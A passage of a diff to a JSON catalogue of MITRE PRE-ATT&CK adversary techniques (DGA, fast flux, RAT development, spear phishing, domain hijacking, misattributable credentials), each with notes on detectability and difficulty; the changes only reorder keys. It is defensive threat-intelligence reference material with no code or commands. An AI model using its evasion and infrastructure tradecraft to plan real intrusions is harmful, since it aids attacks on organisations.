- "value": "Receive operator KITs/KIQs tasking - PRE-T1012",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012"
- ],
"external_id": "PRE-T1012",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012"
]
},
- "uuid": "7863b7f1-c18a-4aad-a6cf-4aa6d8797531"
+ "uuid": "7863b7f1-c18a-4aad-a6cf-4aa6d8797531",
+ "value": "Receive operator KITs/KIQs tasking - PRE-T1012"
},
{
"description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Outside of highly specific or rare HW, nearly impossible to detect and track.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).",
- "value": "Procure required equipment and software - PRE-T1112",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112"
- ],
"external_id": "PRE-T1112",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112"
]
},
- "uuid": "2141aea0-cf38-49aa-9e51-ac34092bc30a"
+ "uuid": "2141aea0-cf38-49aa-9e51-ac34092bc30a",
+ "value": "Procure required equipment and software - PRE-T1112"
},
{
"description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).",
- "value": "Identify security defensive capabilities - PRE-T1040",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040"
- ],
"external_id": "PRE-T1040",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040"
]
},
- "uuid": "04e93ca1-8415-4a46-8549-73b7c84f8dc3"
+ "uuid": "04e93ca1-8415-4a46-8549-73b7c84f8dc3",
+ "value": "Identify security defensive capabilities - PRE-T1040"
},
{
"description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Derive intelligence requirements - PRE-T1007",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007"
- ],
"external_id": "PRE-T1007",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007"
]
},
- "uuid": "15d5eaa4-597a-47fd-a692-f2bed434d904"
+ "uuid": "15d5eaa4-597a-47fd-a692-f2bed434d904",
+ "value": "Derive intelligence requirements - PRE-T1007"
},
{
"description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.",
- "value": "Domain Generation Algorithms (DGA) - PRE-T1100",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100"
- ],
"external_id": "PRE-T1100",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100"
]
},
- "uuid": "274164c6-4297-42d4-84b5-2369e51013fe"
+ "uuid": "274164c6-4297-42d4-84b5-2369e51013fe",
+ "value": "Domain Generation Algorithms (DGA) - PRE-T1100"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.",
- "value": "Leverage compromised 3rd party resources - PRE-T1152",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1152"
- ],
"external_id": "PRE-T1152",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1152"
]
},
- "uuid": "2c8a9df4-52a9-4770-94b3-5e95ab7d59f9"
+ "uuid": "2c8a9df4-52a9-4770-94b3-5e95ab7d59f9",
+ "value": "Leverage compromised 3rd party resources - PRE-T1152"
},
{
"description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.",
- "value": "Review logs and residual traces - PRE-T1135",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135"
- ],
"external_id": "PRE-T1135",
"kill_chain": [
"mitre-pre-attack:pre-attack:test-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135"
]
},
- "uuid": "a16e4004-caac-4a0b-acd5-486f8fda1665"
+ "uuid": "a16e4004-caac-4a0b-acd5-486f8fda1665",
+ "value": "Review logs and residual traces - PRE-T1135"
},
{
"description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.",
- "value": "Identify job postings and needs/gaps - PRE-T1025",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025"
- ],
"external_id": "PRE-T1025",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025"
]
},
- "uuid": "c721b235-679a-4d76-9ae9-e08921fccf84"
+ "uuid": "c721b235-679a-4d76-9ae9-e08921fccf84",
+ "value": "Identify job postings and needs/gaps - PRE-T1025"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.",
- "value": "Spear phishing messages with malicious attachments - PRE-T1144",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144"
- ],
"external_id": "PRE-T1144",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144"
]
},
- "uuid": "e24a9f99-cb76-42a3-a50b-464668773e97"
+ "uuid": "e24a9f99-cb76-42a3-a50b-464668773e97",
+ "value": "Spear phishing messages with malicious attachments - PRE-T1144"
},
{
"description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: One example of it occurring in the real world is the DigiNotar (Citation: DigiNotar2016) case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.",
- "value": "SSL certificate acquisition for trust breaking - PRE-T1115",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115"
- ],
"external_id": "PRE-T1115",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115"
]
},
- "uuid": "54a42187-a20c-4e4e-ba31-8d15c9e1f57f"
+ "uuid": "54a42187-a20c-4e4e-ba31-8d15c9e1f57f",
+ "value": "SSL certificate acquisition for trust breaking - PRE-T1115"
},
{
"description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.",
- "value": "Proxy/protocol relays - PRE-T1081",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081"
- ],
"external_id": "PRE-T1081",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081"
]
},
- "uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5"
+ "uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5",
+ "value": "Proxy/protocol relays - PRE-T1081"
},
{
"description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public or easily obtainable information by design.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: AS and IANA data are easily available, existing research tools.",
- "value": "Determine domain and IP address space - PRE-T1027",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027"
- ],
"external_id": "PRE-T1027",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027"
]
},
- "uuid": "23ecb7e0-0340-43d9-80a5-8971fe866ddf"
+ "uuid": "23ecb7e0-0340-43d9-80a5-8971fe866ddf",
+ "value": "Determine domain and IP address space - PRE-T1027"
},
{
"description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.",
- "value": "Remote access tool development - PRE-T1128",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128"
- ],
"external_id": "PRE-T1128",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128"
]
},
- "uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92"
+ "uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92",
+ "value": "Remote access tool development - PRE-T1128"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.",
- "value": "Push-notification client-side exploit - PRE-T1150",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1150"
- ],
"external_id": "PRE-T1150",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1150"
]
},
- "uuid": "702dc95d-3266-42dc-9eef-4a19e2445148"
+ "uuid": "702dc95d-3266-42dc-9eef-4a19e2445148",
+ "value": "Push-notification client-side exploit - PRE-T1150"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.",
- "value": "Authorized user performs requested cyber action - PRE-T1163",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1163"
- ],
"external_id": "PRE-T1163",
"kill_chain": [
"mitre-pre-attack:pre-attack:compromise"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1163"
]
},
- "uuid": "0440f60f-9056-4791-a740-8eae96eb61fa"
+ "uuid": "0440f60f-9056-4791-a740-8eae96eb61fa",
+ "value": "Authorized user performs requested cyber action - PRE-T1163"
},
{
"description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Submit KITs, KIQs, and intelligence requirements - PRE-T1014",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014"
- ],
"external_id": "PRE-T1014",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-direction"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014"
]
},
- "uuid": "03da0598-ed46-4a73-bf43-0313b3522400"
+ "uuid": "03da0598-ed46-4a73-bf43-0313b3522400",
+ "value": "Submit KITs, KIQs, and intelligence requirements - PRE-T1014"
},
{
"description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.",
- "value": "Misattributable credentials - PRE-T1099",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099"
- ],
"external_id": "PRE-T1099",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099"
]
},
- "uuid": "31fa5b03-1ede-4fab-8a68-ed831fcf4899"
+ "uuid": "31fa5b03-1ede-4fab-8a68-ed831fcf4899",
+ "value": "Misattributable credentials - PRE-T1099"
},
{
"description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Create strategic plan - PRE-T1008",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008"
- ],
"external_id": "PRE-T1008",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008"
]
},
- "uuid": "ec739e26-d097-4804-b04a-54dd81ff11e0"
+ "uuid": "ec739e26-d097-4804-b04a-54dd81ff11e0",
+ "value": "Create strategic plan - PRE-T1008"
},
{
"description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.",
- "value": "Assess vulnerability of 3rd party vendors - PRE-T1075",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075"
- ],
"external_id": "PRE-T1075",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075"
]
},
- "uuid": "1def484d-2343-470d-8925-88f45b5f9615"
+ "uuid": "1def484d-2343-470d-8925-88f45b5f9615",
+ "value": "Assess vulnerability of 3rd party vendors - PRE-T1075"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.",
- "value": "Authentication attempt - PRE-T1158",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1158"
- ],
"external_id": "PRE-T1158",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1158"
]
},
- "uuid": "4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4"
+ "uuid": "4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4",
+ "value": "Authentication attempt - PRE-T1158"
},
{
"description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.",
- "value": "Domain registration hijacking - PRE-T1103",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103"
- ],
"external_id": "PRE-T1103",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103"
]
},
- "uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a"
+ "uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a",
+ "value": "Domain registration hijacking - PRE-T1103"
},
{
"description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.",
- "value": "Analyze organizational skillsets and deficiencies - PRE-T1077",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077"
- ],
"external_id": "PRE-T1077",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077"
]
},
- "uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc"
+ "uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc",
+ "value": "Analyze organizational skillsets and deficiencies - PRE-T1077"
},
{
"description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.",
- "value": "Conduct active scanning - PRE-T1031",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031"
- ],
"external_id": "PRE-T1031",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031"
]
},
- "uuid": "7f2d3da6-7e34-44a3-9e7f-905455339726"
+ "uuid": "7f2d3da6-7e34-44a3-9e7f-905455339726",
+ "value": "Conduct active scanning - PRE-T1031"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.",
- "value": "Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1149"
- ],
"external_id": "PRE-T1149",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1149"
]
},
- "uuid": "58d0b955-ae3d-424a-a537-2804dab38793"
+ "uuid": "58d0b955-ae3d-424a-a537-2804dab38793",
+ "value": "Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149"
},
{
"description": "An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.",
- "value": "Test signature detection - PRE-T1069",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069"
- ],
"external_id": "PRE-T1069",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069"
]
},
- "uuid": "57061a8a-d7c5-42a9-be60-f79526b95bf6"
+ "uuid": "57061a8a-d7c5-42a9-be60-f79526b95bf6",
+ "value": "Test signature detection - PRE-T1069"
},
{
"description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.",
- "value": "Fast Flux DNS - PRE-T1102",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102"
- ],
"external_id": "PRE-T1102",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102"
]
},
- "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30"
+ "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30",
+ "value": "Fast Flux DNS - PRE-T1102"
},
{
"description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
- "value": "Conduct social engineering - PRE-T1026",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026"
- ],
"external_id": "PRE-T1026",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
